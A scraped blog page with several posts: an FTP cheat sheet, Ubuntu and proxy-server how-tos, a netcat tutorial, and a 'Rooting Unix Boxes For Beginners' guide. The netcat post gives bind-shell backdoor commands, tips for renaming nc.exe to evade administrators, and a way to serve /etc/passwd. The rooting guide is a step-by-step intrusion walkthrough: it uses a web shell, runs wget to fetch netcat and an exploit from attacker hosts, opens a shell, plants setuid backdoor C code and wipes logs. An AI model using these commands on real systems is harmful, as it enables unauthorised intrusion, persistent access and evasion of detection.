0);       }     }   }   else {     printf(&quot; &quot;            &quot;Your system is free from the backdoors that would be left in memory &quot;            &quot;by the published exploit for CVE-2010-3081. &quot;);   }   close(s);   return 0; }</code></pre> </div> <br /> <span class="Apple-style-span" style="-webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><em>Regards,</em><br /> <em>Hardeep Singh</em><br /> <em>(</em><a href="http://www.fb.com/h4rdeep" target="_blank"><em>www.fb.com/h4rdeep</em></a><em>)</em><br /> </span></div>

Exploit Kernel Linux OS Root Vulnerability kernel-2.6.18-164 2010 Local Root Exploit

Kernel-2.6.18-164 2010 Local Root Exploit Save this code as a c program file. Code: /* kernel-2.6.18-164 2010 Local Root Exploit ==...

Read more »

FTP cheet sheet

<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioL_Nu1zmmnEdh44j3rpUYTx3V4HqIEBY58xjFk1KxoYddL-JbUHO0TBQMU5dOTyu1q50xtvbhd7I5_0lQE8pM2pFTvX1E9eGoPu1jUW79GXYsp61YcnLwV1JFhWQwY57_qhOlDH_SHXc/s1600/ftp-diagram.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="203" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioL_Nu1zmmnEdh44j3rpUYTx3V4HqIEBY58xjFk1KxoYddL-JbUHO0TBQMU5dOTyu1q50xtvbhd7I5_0lQE8pM2pFTvX1E9eGoPu1jUW79GXYsp61YcnLwV1JFhWQwY57_qhOlDH_SHXc/s1600/ftp-diagram.jpg" width="320" /></a></div> <br /> <ol> <li>Navigate to the desired local directory in the Command Prompt program (Windows) or Terminal (Linux)</li> <li>Type <i>ftp -i hostname</i></li> <li>Type your username and password (password is invisible)</li> <li>Type <i>type</i> (See if it's ascii [pages] or binary [images, sounds, etc.])</li> <li>Type <i>cd desiredDirectory</i> (Get to where you want to upload or download)</li> <li>Type <i>pwd</i>(Confirm where you're at)</li> <li>Type <i>ls</i> (Get a directory listing)</li> <li>To get a directory listing of the local directory, type <i>!dir</i> (Windows) or <i>!ls</i> (Linux). The ! lets you bypass the FTP environment to issue commands to the operating system</li> <li>Upload an image or sound? <ol> <li>Type <i>bin</i></li> <li>Type <i>put filename</i></li> </ol> </li> <li>Upload a page? <ol> <li>Type <i>asc</i></li> <li>Type <i>put filename</i></li> </ol> </li> <li>Download an image or sound? <ol> <li>Type <i>bin</i></li> <li>Type <i>get filename</i></li> </ol> </li> <li>Download a page? <ol> <li>Type <i>asc</i></li> <li>Type <i>get filename</i></li> </ol> </li> <li>Batch upload? Type <i>mput *.htm</i></li> <li>Batch download? Type <i>mget *.htm</i></li> <li>See other options? Type <i>help</i></li> <li>Terminate a session? Type <i>bye</i></li> </ol> </div>

Cheet Sheet FTP Linux OS FTP cheet sheet

Navigate to the desired local directory in the Command Prompt program (Windows) or Terminal (Linux) Type ftp -i hostname Type your us...

Read more »

Netcat Explained

<div dir="ltr" style="text-align: left;" trbidi="on"> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipedql6wKPYdHI037e9Fw0WdDAqG2fym2zcqskBbp25tpzTQ4ezPzG3UQdH_Ubn1WMyZlYrrukqkG1j7txXymgNcMEI2f1DykRhEv8ghyphenhyphenO3BsOdPAmw7enITZlSm0hzYRgKHOpiAI3iPU/s1600/ncat-logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipedql6wKPYdHI037e9Fw0WdDAqG2fym2zcqskBbp25tpzTQ4ezPzG3UQdH_Ubn1WMyZlYrrukqkG1j7txXymgNcMEI2f1DykRhEv8ghyphenhyphenO3BsOdPAmw7enITZlSm0hzYRgKHOpiAI3iPU/s1600/ncat-logo.png" /></a></div> <span class="Apple-style-span" style="background-color: #fafafa; color: #333333; font-family: "verdana" , "arial" , "tahoma" , "calibri" , "geneva" , sans-serif; font-size: 13px;"><span style="font-size: medium;"><u>NETCAT AND CRYPTCAT</u></span></span><br /> <br /> <div id="post_message_14830" style="margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"> <br /> This tutorial is a combination of different sources. I can not take credit for all the information I just compiled it and added my touch to it.<br /> <br /> <h3> Disclaimer</h3> For educational uses only. I do not condone any use of this tutorial for malicious behavior. Its simple. If its not your computer. Don't mess with it.<br /> <br /> <h3> What is netcat?</h3> Netcat is a computer networking service for reading from and writing network connections using TCP or UDP Netcat is designed to be a dependable "back-end" device that can be used candidly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.<br /> <br /> <h3> Download</h3> The official download website of Netcat for both Windows and Linux is <a href="http://www.downloadnetcat.com/" style="color: #417394; text-decoration: none;" target="_blank">http://www.downloadnetcat.com/</a>. I am not going to go into depth on how to install. Basically if your running windows place nc.exe in system32 folder. If your running Linux you sudo apt-get install netcat (or whatever the command is for your version of Linux)or compile it yourself from the tarball.<br /> <br /> <h3> Command Line</h3> -d Puts netcat in stealth mode. Therefore it runs in the background. This command is only available on windows.<br /> -e <command> If compiled into the GAPING_SECURITY_HOLE option, a listening netcat will execute <command> any time someone makes a connection on the port to which it is listening<br /> -i <seconds> This is the delay interval. This is the amount of time netcat waits between data sends.<br /> -g <route-list>Netcat supports loose source routing.<br /> -G <hop-pointer> This option allows you to control which ip in your route-list the next hop.<br /> -l This is listen mode.<br /> -L This is a stronger listen mode only availiable in windows. It tells Netcat to restart its listen mode with the same command-line options after a connection is closed<br /> -n Tells netcat not to do any hostname lookups.<br /> -o <hexfile> Does a hex dump on the data and stores it in hexfile.<br /> -p <port> Specifies the port<br /> -r Netcatchooses random local and remote ports.<br /> -sSpecifies the source ip adress netcat should use when making its connections.<br /> -t If compiled with the telnet option netcat will be able to handle telnet negotiation with a telnet server.<br /> -u Tells netcat to use UDP instead of TCP.<br /> -v Verbose. Controls how much netcat will tell you what its doing.<br /> -w <seconds> Controls how long netcat will wait before canceling connection.<br /> -z Tells netcat to only send enough data to find which ports are listening in your specified range.<br /> <br /> <br /> <h3> Usage</h3> <br /> <strong>Netcat Backdoor Victim</strong>:<br /> <div class="command wobble-horizontal"> nc -L -d -p <port> -t -e cmd.exe</div> <br /> <br /> -L is the listening command. -d tells netcat not to open a window when running. -p assigns a port. -t is for telnet. -e activates cmd.exe when client connects to it<br /> <br /> <br /> <strong>Client</strong>:<br /> <div class="command wobble-horizontal"> nc -v <ip address of victim></div> <br /> <br /> <br /> <br /> note: In this example netcat runs in the background on the victims machine. A system admin may open task manager and see that nc.exe is running. A smart hacker would change nc.exe to something like iexplorer.exe or updatemanager.exe in order to avoid suspiscion. Now, if a system administrator runs a trusted netstat –a –n command at the DOS prompt, he or she might notice that something is running on a rather odd port, telnet to that port, and discover the trick. However, Windows uses several random ports for varying reasons and netstat output can be time consuming to parse, especially on systems<br /> with a lot of activity. Hackers might try a different approach. If they've infiltrated a Citrix server, for example, accessed by several users who are surfing the Web, you'd expect to see a lot of Domain Name System (DNS) lookups and Web connections. Running netstat –a –n would reveal a load of outgoing TCP port 80 connections. Instead of having an instance of Netcat listening on the Windows box and waiting for connections, Netcat can pipe the input and output of the cmd.exe program to another Netcat instance listening on a remote box on port 80. On his end, the hacker would run: <br /> <div class="system highlight pop"> nc –l –p 80 </div> From the Windows box, the hacker could cleverly "hide" Netcat again and issue these commands:<br /> <div class="command wobble-horizontal"> mkdir C:\Windows\System32\Drivers\q<br /> move nc.exe C:\Windows\System32\Drivers\q\iexplore.exe<br /> cd Windows\System32\Drivers\q<br /> WINDOWS\System32\DRIVERS\q>iexplore.exe<br /> Cmd line: -d -e cmd.exe originix 80<br /> WINDOWS\System32\DRIVERS\q> </div> Now the listening Netcat should pick up the command shell from the Windows machine. This can do a better job of hiding a backdoor from a system administrator. At first glance, the connection will just look like Internet Explorer making a typical HTTP connection. Its only disadvantage for the hacker is that after terminating the shell, there's no way of restarting it on the Windows side.<br /> <br /> <br /> <h3> Port Scanning Command:</h3> <div class="command wobble-horizontal"> nc -z -w2 <IP Address> 1-6000 </div> <br /> <br /> <br /> -z tells netcat to run a port scan. -w2 tells netcat to wait for 2 seconds before disconnecting. 1-6000 are the ports to scan. If you want you can add -v or -vv to see more of what is going on making it:<br /> nc -vv -z -w2 <IP Address> 1-6000<br /> <br /> <br /> <h3> Banner Grabbing</h3> Banner grabbing is a function that helps you see what is running behind a given port.<br /> <br /> Command:<br /> <div class="command wobble-horizontal"> nc <IP Address> 80</div> <br /> <br /> <br /> Command:<br /> <div class="command wobble-horizontal"> GET HTTP<br /> or<br /> HEAD / HTTP/1.0</div> <br /> <strong> (Hit return twice)</strong><br /> <br /> <br /> <h3> File Transfer:</h3> From system in which file is stored:<br /> <div class="command wobble-horizontal"> nc –l –u –p 55555 < file_we_want</div> <br /> <br /> Command of receiving system:<br /> <div class="command wobble-horizontal"> nc –u –targethost 55555 > copy_of_file</div> <br /> <br /> <br /> This can be used to grab the etc/passwd file. This can be done by utilizing the command<br /> <div class="command wobble-horizontal"> nc -l -u -p 55555 < /etc/passwd</div> <br /> <br /> <br /> Netcat does file transfer under the radar. It does not leave any logs whatsoever. Many other FTP do leave logs.<br /> <br /> <br /> <h3> Setting a Trap</h3> You could run a instance of netcat on a port a hacker may be expecting to find vulnerabilities. If your good you may be able to trap the hacker using something like command:<br /> <div class="command wobble-horizontal"> nc –l –v –e <a href="http://fakemail.pl/">fakemail.pl</a> –p 25 >> traplog.txt</div> <br /> <br /> Your fakemail script might echo some output to tell the world it's running a version of sendmail and practically beg a script kiddy to come hack it . Once he does you could flood him with what ever you want. If your nice you could just run a script to grab his IP.<br /> <br /> <br /> <h3> Linux Backdoor</h3> Most of this tutorial was built around hacking windows with netcat. However, the same can be done on a Linux system with the command:<br /> <div class="command wobble-horizontal"> nc –u –l –p 55555 –e /bin/sh nc</div> <br /> <br /> <h3> Create your own usage</h3> There are several shell scripts and C programs that generate even more possible ways to utilize netcat. With a little understanding of computer programming you can create your own usage of netcat. I encourage you to try.<br /> <br /> <br /> <h3> Cryptcat</h3> Cryptcat is what is self explanatory. It is an encrypted version of netcat. It uses an enhanced version of twofish encryption to keep netcat traffic hidden.<br /> <br /> <br /> You might argue that netcat is a glorified telnet. Well it is. However it has far more capabilities. Netcat is my favorite tool because of its simplicity. It is easily compiled into scripts or code. You may say "Abstrakt, are you an idiot? There are programs such as meterpreter that can be used as backdoors that are far more easier." To this I say yes I am an idiot, but netcat is much more than just a backdoor. You may also say "Abstrakt, you are an idiot. How do you get a copy of nc.exe into the system32 folder without having access to the computer?" Again I agree I am an idiot but I encourage you to learn to program in C or write scripts in perl and find a way to compile nc.exe into a code or script. It is a great tool to have in your arsenal even if you are a meterpreter fan. There are many other uses of netcat than what I explained. I encourage you to look further into it. Also this is my first post on intern0t. All criticism is welcome and preferred. I plan to create more advanced netcat tutorials in the future going further in depth with each usage.<br /> <br /></div> </div>

Cheet Sheet Cryptcat Hacking Netcat Tutorials Netcat Explained

NETCAT AND CRYPTCAT This tutorial is a combination of different sources. I can not take credit for all the information I just compil...

Read more »

Classic start menu in Ubuntu 11.04

<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIvsTavCfw38WJ9R0kg_rM3x0oQrWs94jla5ymIG8iRuSucMNU3JsGZN9st_I6mYpUAIxd4dQQwGKNYmwi08-lJ2uQy4-ALZQWZL0IpfOU8EnB-aiKMj-kOoagdg6xO0sDCZafSAL-0yo/s1600/StartMenu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIvsTavCfw38WJ9R0kg_rM3x0oQrWs94jla5ymIG8iRuSucMNU3JsGZN9st_I6mYpUAIxd4dQQwGKNYmwi08-lJ2uQy4-ALZQWZL0IpfOU8EnB-aiKMj-kOoagdg6xO0sDCZafSAL-0yo/s1600/StartMenu.png" width="282" /></a></div> <br /> <div> <span class="Apple-style-span">In Ubuntu 11.04 Unity, you might prefer the left launcher bar but dislike the searching-style app menu in top-panel. Mac-like dock has classic app menu but there also has many useless shortcut icons that already shown in left launcher bar.</span></div> <div> <span class="Apple-style-span">Although we cannot replace the top-panel with the classic gnome-panel, there’s a classic start menu can be added onto left launcher bar.</span></div> <br /> <div> <span class="Apple-style-span">Steps:</span></div> <div> <span class="Apple-style-span"><strong>1.)</strong> Open up a terminal window and install cardapio from PPA:</span></div> <div class="command wobble-horizontal"> sudo add-apt-repository ppa:cardapio-team/unstable<br /> sudo apt-get update<br /> sudo apt-get install cardapio</div> <br /> <br /> <span class="Apple-style-span"><strong>2.)</strong> Create a launcher by:</span><br /> <br /> <div class="command wobble-horizontal"> mkdir ~/.local/share/applications<br /> gksudo gedit ~/.local/share/applications/Cardapio.desktop</div> <br /> <br /> <span class="Apple-style-span">copy and paste following :</span><br /> <br /> <div class="content shadow-radial"> [Desktop Entry]<br /> Version=1.0<br /> Type=Application<br /> Terminal=false<br /> Exec=cardapio<br /> Name=menu<br /> Icon=gnome-main-menu</div> <br /> <br /> <div> <span class="Apple-style-span">Then close and save it.</span></div> <span class="Apple-style-span"><strong>3.)</strong> In nautilus file browser, navigate to “<span class="system pop">.local/share/applications </span>” (Press Ctrl+H to view hidden files) and then drag and drop <span class="system pop">Cardapio.desktop </span> onto left Launcher.</span><br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="http://ubuntuguide.net/wp-content/uploads/2011/05/StartMenu_on_Launcher-214x360.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span class="Apple-style-span"><img border="0" height="320" src="http://ubuntuguide.net/wp-content/uploads/2011/05/StartMenu_on_Launcher-214x360.png" width="190" /></span></a></div> <br /> <div> <span class="Apple-style-span"><strong>4.)</strong> Adjust the pop-up menu location.</span></div> <div> Before this, when you click the icon on Launcher it pops-up the menu in middle area of screen. To adjust the pop-up location, open up <br /> <div class="system pop"> CompizConfig-Setting-Manager </div> (run <br /> <div class="command wobble-horizontal"> sudo apt-get install compizconfig-settings-manager </div>  if not installed) and click into the configuration page of <strong>Place Windows</strong>.</div> <div> <span class="Apple-style-span">In Fixed Window Placement tab, click New under Windows with Fixed Positions:</span></div> <div> <em><span class="Apple-style-span">type “name=cardapio” (without quotes) after Positioned windows<br /> check “Keep in work area”<br /> set proper value of x or y positions</span></em></div> <div class="separator" style="clear: both; text-align: center;"> <a href="http://ubuntuguide.net/wp-content/uploads/2011/05/Place_windows1-500x291.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span class="Apple-style-span"><img border="0" height="186" src="http://ubuntuguide.net/wp-content/uploads/2011/05/Place_windows1-500x291.png" width="320" /></span></a></div> <div> <em><span class="Apple-style-span">Keep in touch to get new updates.</span></em><br /> <br /> <em><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><em>Regards,</em><br /> <em>Hardeep Singh</em><br /> <em>(</em><a href="http://www.fb.com/h4rdeep" target="_blank"><em>www.fb.com/h4rdeep</em></a><em>)</em></span></em> </div> </div>

Linux Linux Tutorials OS Tricks Ubuntu Classic start menu in Ubuntu 11.04

In Ubuntu 11.04 Unity, you might prefer the left launcher bar but dislike the searching-style app menu in top-panel. Mac-like dock has ...

Read more »

Rooting Unix Boxes For Beginners

<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrGbqR9XNp4aIM63p9OibxElCHGHI2JBC1uKK3luopPNR9MVqZjkyLfj265AXZ5KpB6dAb9sPDaUMljONe2I0SSuKVvcw5C_kvikKw5vF7SC2G39KklajBlcSvjHZ-0lO688ISICZJgus/s1600/kernel-root.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="147" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrGbqR9XNp4aIM63p9OibxElCHGHI2JBC1uKK3luopPNR9MVqZjkyLfj265AXZ5KpB6dAb9sPDaUMljONe2I0SSuKVvcw5C_kvikKw5vF7SC2G39KklajBlcSvjHZ-0lO688ISICZJgus/s1600/kernel-root.jpg" width="400" /></a></div> <br /> Hello and welcome to rahlabs tutorial on Rooting unix boxes. Today we will learn a few fundementals on what it takes to root a your box! In Today's Tutorial we will be using a linux box.<br /> <br /> Required for this tutorial:<br /> <br /> Access to a shell - Upload by any-means a shell onto a box<br /> <a href="http://b14ck1c3.freehostia.com/miglc">mig-log cleaner</a><br /> <a href="http://www.vulnwatch.org/netcat/nc111nt.zip">Netcat</a><br /> <a href="http://b14ck1c3.freehostia.com/nc">Netcat(unix)</a><br /> <a href="http://jshooter.by.ru/xpl/">Local root Exploit</a><br /> half a brain<br /> willingness to learn<br /> <br /> Now that you have all that in order lets begin.<br /> <br /> Go to the path of or access your shell by whatever means nessecary.<br /> Make sure that your shell is in a writable folder just to make things easy for us. In our case today for this tutorial we will be using storm7shell or gny not exactly my favorite but will get the job done none the less.<br /> An example of this location would be something like:<br /> <br /> <a href="http://target/youshell.php">http://target/youshell.php</a><a href="http://target/youshell.php"></a><br /> Now that we are on your shells page we want to find out what os this box is running and what version the kernel is. In our case it's linux 2.6.8. So we will want to find a local root exploit for this kernel version of the linux os.<br /> <br /> What we want to do now that we have our local root exploit for our kernel is spawn a shell so that we can talk to the victim's box and run our commands without interuption, But how are we suppose to do that? This can be done by using a tool called Netcat. So now that we have a copy of Netcat we will go to the shell, Find the command execution area of the shell and enter:<br /> <br /> <div class="command wobble-horizontal"> wget <a href="http://b14ck1c3.freehostia.com/nc">http://b14ck1c3.freehostia.com/nc</a></div> <br /> <br /> <br /> What this will do is download the file of Netcat i have pre-compiled and hosted for you onto the victim box to the location of your shell. Once we have the download complete we will want to chmod it so that our user has access to run it. which can be done by entering:<br /> <br /> <div class="command wobble-horizontal"> chmod +x nc</div> <br /> <br /> What this does is grants everyone (user, group and other) execute permission, and the command to the file nc which we had just previously downloaded onto the box with the wget command.<br /> <br /> Now that we have nc installed on both the victim machine and your own it's time to make our connection. How Do we make a connection with nc? In the command execution area of your shell enter:<br /> <br /> <div class="command wobble-horizontal"> ./nc -l -p 8080 -e /bin/sh</div> <br /> <br /> (shell can be /bin/sh or cmd.exe for example)<br /> <br /> And then on the netcat installed on your pc you will want to enter:<br /> <br /> nc VictimIP Port *in our case 8080*<br /> <div class="command wobble-horizontal"> #nc 123.123.123.123 8080</div> <br /> <br /> <br /> What this will do is cause the netcat on the victims box to listen on port 8080 and shovel back an interactive shell for you once you make the connection from which you typed:<br /> <br /> nc victimip port<br /> Now that We have our interactive shell spawned we can start to prepare the box for Rooting. First we will want to get our local root exploit onto the box and get it compiled if it's not already. This can be done by once again using that nifty wget command we learned about in the previous steps.<br /> <br /> <div class="command wobble-horizontal"> wget <a href="http://yoursite/xpl">http://yoursite/xpl</a></div> <br /> <br /> What we have done is now downloaded your exploit. If your exploit is not already compiled you will need to compile it in order to run it. Compiling your exploit can be done by using the gcc, like so:<br /> <br /> <div class="command wobble-horizontal"> gcc xpl.c -o xpl;chmod +x xpl</div> <br /> <br /> This will compile your xpl.c and output it into a file called xpl wich will be the compiled copy of your exploit and then chmod xpl. Now you are ready to run your exploit and get your root on. The exploit will vary on their usage so make sure you have an understanding of the root exploit you are using. You can run your xpl file by entering in:<br /> <br /> Code:<br /> <div class="command wobble-horizontal"> ./xpl</div> <br /> <br /> Wait until your exploit is finished running once it is done enter:<br /> <br /> <div class="command wobble-horizontal"> #whoami</div> <br /> <br /> What the whoami command does is tells you who you are if this tells you root then you xpl has done it's job and you now have root priv's on the box. or you can type:<br /> <br /> <div class="command wobble-horizontal"> #id<br /> uid=0(root) gid=0(root) groups=500(apache)</div> <br /> <br /> And now you can do your happy dance.<br /> Now that we have rooted the box and finished humiliating ourselves by dancing around we want to make sure that we can come and go as we please without all the hassel of Rooting the box over and over. So we will want to create some kind of backdoor. we can make this happen with few lines of code:<br /> Code:<br /> <div class="program glow"> <pre><code class="prettyprint"> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main( void ) {      setuid( 0 );      system( "/bin/bash" );      return 0; } </code></pre> </div> <br /> <br /> Compile it and change permissions:<br /> Code:<br /> <div class="command wobble-horizontal"> root@foobar /root# gcc -o .bkdr main.c<br /> root@foobar /root# chown root:root .bkdr<br /> root@foobar /root# chmod +s .bkdr</div> <br /> <br /> Now, all you have to do is put .bkdr somewhere on the system where you can execute it (preferrably in the $PATH) and if you execute it as another user: <br /> Code:<br /> <div class="command wobble-horizontal"> root@foobar /home/raif$ /usr/local/bin/.bkdr<br /> root@foobar /home/raif# whoami<br /> root</div> <br /> <br /> Now you have your access back. <br /> Alright we are almost completed our mission we have successfully rooted our victims box created ourbackdoor now all we need to do is wipe our tracks that we left in the logs and be on our way. This can be done by using a log cleaner of some kind. For this tutorial we used mig-log cleaner. which you can get here:<br /> <br /> Code:<br /> <br /> <a href="http://b14ck1c3.freehostia.com/miglc">http://b14ck1c3.freehostia.com/miglc</a><a href="http://b14ck1c3.freehostia.com/miglc"></a>Once again we can use our wget command to upload our logcleaner to the rooted box.<br /> <br /> Code:<br /> <div class="command wobble-horizontal"> wget <a href="http://b14ck1c3.freehostia.com/miglc;chmod">http://b14ck1c3.freehostia.com/miglc;chmod</a> +x miglc</div> <br /> <br /> now just run the logcleaner<br /> <br /> Code:<br /> <div class="command wobble-horizontal"> ./miglc</ The mig-log Cleaner has a wide variety of functions which are displayed when you run the log cleaner so you may choose how exactly you want to clean the logs with the commands given to you. I hope you enjoyed my tutorial and learned something from it as well. Good luck to you all. Regards, Hardeep Singh (<a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a>)<br /> <br /></div> </div>

Hacking Tutorials Linux Linux Tutorials OS Root Rooting Tutorials Rooting Unix Boxes For Beginners

Hello and welcome to rahlabs tutorial on Rooting unix boxes. Today we will learn a few fundementals on what it takes to root a your box!...

Read more »

Setup your own Proxy Server in 5 Minutes for Free

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; font-family: Palatino,Georgia,Times,'Times New Roman',serif; font-size: 18px; line-height: 25px;"><br /> <a href="http://www.labnol.org/internet/tools/google-free-proxy-server-language-translation-service/2175/" style="color: #20007f; text-decoration: none;" title="Google also offers a Free Proxy Server"><img alt="Google Proxy" height="307" src="http://img.labnol.org/di/google_proxy.jpg" style="border-width: 0px; display: block; margin: auto;" title="google proxy" width="540" /></a><br /> A simple <a href="http://www.google.com/search?q=php+proxy" style="color: #20007f; text-decoration: none;" target="_blank" title="Find Free PHP Proxy Servers Online">Google search</a> and you'll find dozens of really good PHP scripts on the Internet to help you create proxy servers in minutes for free. The only limitation with PHP based proxies is that you require a web server to host the proxy scripts and second, you also need a domain name to act as an address for your proxy site.<br /> If you don't own a domain or server space, you can still create a personal proxy server for free and that too <b>without requiring any technical knowledge</b>.<br /> <span class="youtube"></span><br /> <h2 style="font-size: 1.125em;">Create a Free Proxy Server with Google App Engine</h2>Here's one such <a href="http://labnol-proxy-server.appspot.com/" style="color: #20007f; text-decoration: none;" target="_blank"><b>proxy site</b></a> that you can build for your friends in China or even for your personal use (say for <a href="http://labnol.blogspot.com/2005/12/how-to-access-blocked-websites.html" style="color: #20007f; text-decoration: none;">accessing blocked sites</a> from office). This is created using Google App Engine and, contrary to what you assume, the process is quite simple.<br /> <b>Step 1</b>: Go to <a href="https://appengine.google.com/" style="color: #20007f; text-decoration: none;">appengine.google.com</a> and sign-in using your Google Account.<br /> <b>Step 2</b>: Click the "Create an Application" button. Since this is your first time, Google will send a verification code via SMS to your mobile phone number. Type the code and you're all set to create apps with Google App Engine.<br /> <b>Step 3</b>: Choose a sub-domain* that will host your proxy server. Make sure the domain is available, agree to the Google Terms and click save. The sub-domain is also your App ID that will uniquely identify your proxy application.<br /> For this example, we'll use <b><a href="http://img.labnol.org/files/app_engine_identifier.png" rel="lightbox" style="color: #20007f; text-decoration: none;" target="_blank" title="App ID for Proxy Server"><span style="color: red;">labnol-proxy-server</span></a></b> as the App ID though you are free to choose any other unique name.<br /> <b>Step 4:</b> OK, now that we have reserved the ID, it's time to create and upload the proxy server application to Google App Engine. Go to <a href="http://www.python.org/download/releases/2.6.4/#download" style="color: #20007f; text-decoration: none;" target="_blank">python.org</a>, download the 2.6.4 MSI Installer and install Python.<br /> <a href="http://img.labnol.org/di/1_create_app_engine_account.png" rel="lightbox" style="color: #20007f; text-decoration: none;" target="_blank" title="Step 1: Create App Engine Account"><img alt="1_create_app_engine_account" height="82" src="http://img.labnol.org/di/1_create_app_engine_account_thumb.png" style="border-width: 0px; display: block; margin: auto;" title="1_create_app_engine_account" width="140" /></a><a href="http://img.labnol.org/di/2_verify_mobile.png" rel="lightbox" style="color: #20007f; text-decoration: none;" target="_blank" title="Step 2: Verify Mobile Number"><img alt="2_verify_mobile" height="82" src="http://img.labnol.org/di/2_verify_mobile_thumb.png" style="border-width: 0px; display: block; margin: auto;" title="2_verify_mobile" width="132" /></a><a href="http://img.labnol.org/di/3_authenticate.png" rel="lightbox" style="color: #20007f; text-decoration: none;" target="_blank" title="Step 2b. Type Authentication Code"><img alt="3_authenticate" height="82" src="http://img.labnol.org/di/3_authenticate_thumb.png" style="border-width: 0px; display: block; margin: auto;" title="3_authenticate" width="127" /></a><a href="http://img.labnol.org/di/4_create_application.png" rel="lightbox" style="color: #20007f; text-decoration: none;" target="_blank" title="Step 4: Choose a Domain for your Proxy Server"><img alt="4_create_application" height="82" src="http://img.labnol.org/di/4_create_application_thumb.png" style="border-width: 0px; display: block; margin: auto;" title="4_create_application" width="129" /></a><br /> <a href="http://img.labnol.org/di/install_python.png" rel="lightbox" style="color: #20007f; text-decoration: none;" target="_blank" title="Step 4: Install Python"><img alt="install_python" height="150" src="http://img.labnol.org/di/install_python_thumb1.png" style="border-width: 0px; display: block; margin: auto;" title="install_python" width="164" /></a><a href="http://img.labnol.org/di/install_app_engine_sdk.png" rel="lightbox" style="color: #20007f; text-decoration: none;" target="_blank" title="Step 5: Install App Engine SDK"><img alt="install_app_engine_sdk" height="150" src="http://img.labnol.org/di/install_app_engine_sdk_thumb1.png" style="border-width: 0px; display: block; margin: auto;" title="install_app_engine_sdk" width="180" /></a><a href="http://img.labnol.org/di/sdk_preferences.png" rel="lightbox" style="color: #20007f; text-decoration: none;" target="_blank" title="Step 7: Set the Correct Paths"><img alt="sdk_preferences" height="150" src="http://img.labnol.org/di/sdk_preferences_thumb.png" style="border-width: 0px; display: block; margin: auto;" title="sdk_preferences" width="180" /></a><br /> <b>Step 5:</b> Once Python is installed, go to <a href="http://code.google.com/appengine/downloads.html#Google_App_Engine_SDK_for_Python" style="color: #20007f; text-decoration: none;" target="_blank">code.google.com</a>, download the Google App Engine SDK for Python and install it.<br /> <b>Step 6</b>: Download this <a href="http://img.labnol.org/files/proxy.zip" style="color: #20007f; text-decoration: none;" target="_blank">zip file</a> and extract it to some folder on your desktop. The zip file, for the curious, contains a couple of text files (written in HTML and Python) that you can read with notepad.<br /> <b>Step 7</b>: Start the Google App Engine Launcher program from the desktop and set the right values under Edit –> Preferences (see screenshot above).<br /> <b>Step 8</b>. Click File –> Add Existing Application under the Google App Launcher program and browse to the directory that you created in Step 6. Click the Edit button and replace "YOUR_APP_ID" with the ID (sub-domain) that you reserved in Step 3.<br /> <a href="http://img.labnol.org/di/add_proxy_application.png" rel="lightbox" style="color: #20007f; text-decoration: none;" target="_blank" title="Step 8: Add proxy scripts to GAE"><img alt="add_proxy_application" height="135" src="http://img.labnol.org/di/add_proxy_application_thumb.png" style="border-width: 0px; display: block; margin: auto;" title="add_proxy_application" width="176" /></a><a href="http://img.labnol.org/di/edit_app_id.png" rel="lightbox" style="color: #20007f; text-decoration: none;" target="_blank" title="Step 8b: Edit APP ID"><img alt="edit_app_id" height="135" src="http://img.labnol.org/di/edit_app_id_thumb.png" style="border-width: 0px; display: block; margin: auto;" title="edit_app_id" width="174" /></a><a href="http://img.labnol.org/di/deploy_proxy_server.png" rel="lightbox" style="color: #20007f; text-decoration: none;" target="_blank" title="Final Step: Deploy the Proxy Server Online"><img alt="deploy_proxy_server" height="135" src="http://img.labnol.org/di/deploy_proxy_server_thumb.png" style="border-width: 0px; display: block; margin: auto;" title="deploy_proxy_server" width="170" /></a><br /> <b>Step 9</b>: Click Deploy and your online proxy server is now ready for use. You can<a href="http://labnol-proxy-server.appspot.com/" style="color: #20007f; text-decoration: none;" target="_blank"><b>experience it live</b></a> and if any of the steps don't make sense, please refer to the following <a href="http://www.youtube.com/watch?v=3f6Zq4prys0&hd=1" style="color: #20007f; text-decoration: none;" target="_blank">video screencast</a> (available in <a href="http://www.labnol.org/software/tutorials/make-720p-hd-widescreen-screencasts-for-youtube/8031/" style="color: #20007f; text-decoration: none;" title="How to Make 720p HD Screencast Videos for YouTube">720p HD</a>).<br /> You can edit the main.html file to change the appearance of your proxy server and you can even add Analytics and AdSense code to your proxy server in case it gets popular on the web. The application is currently open to all users but you can add a layer of 